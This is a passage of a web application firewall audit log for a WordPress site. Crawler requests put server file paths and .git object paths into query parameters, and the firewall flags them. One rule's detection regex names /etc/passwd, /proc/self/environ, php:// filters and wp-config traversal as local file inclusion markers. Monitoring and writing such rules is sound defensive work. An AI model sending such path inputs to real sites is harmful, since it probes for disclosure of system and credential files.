F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":291,"p2":2588,"p3":0,"p4":0,"p5":432,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:43.357597 +0100","transaction_id":"abPIn-EAMg66iR7kG38TxwAAA1A","remote_address":"216.73.216.152","remote_port":58356,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fmedia.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a80a20af02c7807feba9209eab317134","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12812417"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a80a20af02c7807feba9209eab317134","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/media.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":327,"p2":2732,"p3":0,"p4":0,"p5":434,"sr":217,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:43.447601 +0100","transaction_id":"abPIn026I4peWFmz15yYzQAAAUA","remote_address":"216.73.216.152","remote_port":33150,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Foptions-privacy.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"56a1cb77ed77d84152fb36e9615ce3d7","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12812420"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"56a1cb77ed77d84152fb36e9615ce3d7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/options-privacy.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":276,"p2":2727,"p3":0,"p4":0,"p5":458,"sr":152,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:43.548275 +0100","transaction_id":"abPIn-EAMg66iR7kG38TyAAAA1A","remote_address":"216.73.216.152","remote_port":58356,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fnav-menus.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7b3f501c74c2f618ea5db99bb9120f03","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12812423"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7b3f501c74c2f618ea5db99bb9120f03","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/nav-menus.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":276,"p2":1833,"p3":0,"p4":0,"p5":443,"sr":121,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:43.629829 +0100","transaction_id":"abPIn-EAMg66iR7kG38TyQAAA1A","remote_address":"216.73.216.152","remote_port":58356,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Flink-manager.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0fc51f009c95f072aa26ad0c11673592","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13796572"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0fc51f009c95f072aa26ad0c11673592","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/link-manager.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":257,"p2":2437,"p3":0,"p4":0,"p5":392,"sr":118,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:43.720897 +0100","transaction_id":"abPIn-EAMg66iR7kG38TygAAA1A","remote_address":"216.73.216.152","remote_port":58356,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fmedia-upload.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"da6533b56ab17042fb8eef08c9db8b0f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12812426"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"da6533b56ab17042fb8eef08c9db8b0f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/media-upload.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":219,"p2":2410,"p3":0,"p4":0,"p5":446,"sr":120,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:26:08.241813 +0100","transaction_id":"abPKH1RY1ZHue1KnYxog2AAAAog","remote_address":"114.119.150.95","remote_port":44392,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/221921051 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"2ca83f502e6fd921a9f34174b08b3a56","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13632855","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"2ca83f502e6fd921a9f34174b08b3a56","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":293,"p2":5464,"p3":0,"p4":0,"p5":207,"sr":162,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:30:23.999937 +0100","transaction_id":"abPLH0xHnLkyPWuTIW5V_AAAAYA","remote_address":"57.141.20.57","remote_port":55734,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/zh_HK/LC_MESSAGES/iso_3166-3.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.57","X-Forwarded-Proto":"https","X-Request-Id":"c626c987957e06202ab0b623b3703492","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8159815"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c626c987957e06202ab0b623b3703492","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/zh_HK/LC_MESSAGES/iso_3166-3.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":199,"p2":4103,"p3":0,"p4":0,"p5":313,"sr":116,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:32:41.087744 +0100","transaction_id":"abPLqE26I4peWFmz15ye_gAAAVA","remote_address":"57.141.20.50","remote_port":58842,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/19/557618e843d8f61428d00d9e9bc696315f9bd4 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"b9e0a9bb1e866725915a8cf3907202ca","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14222671"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b9e0a9bb1e866725915a8cf3907202ca","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/19/557618e843d8f61428d00d9e9bc696315f9bd4||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":290,"p2":5614,"p3":0,"p4":0,"p5":259,"sr":128,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:32:46.778890 +0100","transaction_id":"abPLroB2aIMAFdsi8EHsNQAAAsI","remote_address":"57.141.20.18","remote_port":46338,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/fc/cc724f745ddd283a3c3d377223ce1bb4cf8ad0 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"85e614d794941a868de37eb151365fa0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1935877"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"85e614d794941a868de37eb151365fa0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/fc/cc724f745ddd283a3c3d377223ce1bb4cf8ad0||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":209,"p2":4554,"p3":0,"p4":0,"p5":314,"sr":114,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:33:29.412591 +0100","transaction_id":"abPL2VRY1ZHue1KnYxoizAAAAo0","remote_address":"57.141.20.7","remote_port":58812,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/mt/LC_MESSAGES/iso_639_3.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"30c746302b62ea53c2b714fec8665ce5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11110133"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"30c746302b62ea53c2b714fec8665ce5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/mt/LC_MESSAGES/iso_639_3.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":271,"p2":5085,"p3":0,"p4":0,"p5":250,"sr":126,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:33:32.872793 +0100","transaction_id":"abPL3FRY1ZHue1KnYxoi2QAAAo0","remote_address":"57.141.20.16","remote_port":58812,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f6/6f87777bafeaf7b7398e0ab2874d9ae999f6bd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.16","X-Forwarded-Proto":"https","X-Request-Id":"026f2a3a415ec7d16ea04c3f211ca577","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14287690"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"026f2a3a415ec7d16ea04c3f211ca577","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f6/6f87777bafeaf7b7398e0ab2874d9ae999f6bd||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":307,"p2":4150,"p3":0,"p4":0,"p5":309,"sr":102,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:33:37.229820 +0100","transaction_id":"abPL4G-XEucyBza91ntgnQAAAxg","remote_address":"57.141.20.3","remote_port":37002,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/opt/php8.4/include/php/Zend/zend_vm_handlers.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"cf5f5595c365e18306996a112803d7bc","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14287705"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"cf5f5595c365e18306996a112803d7bc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.4/include/php/Zend/zend_vm_handlers.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":192,"p2":3752,"p3":0,"p4":0,"p5":230,"sr":100,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
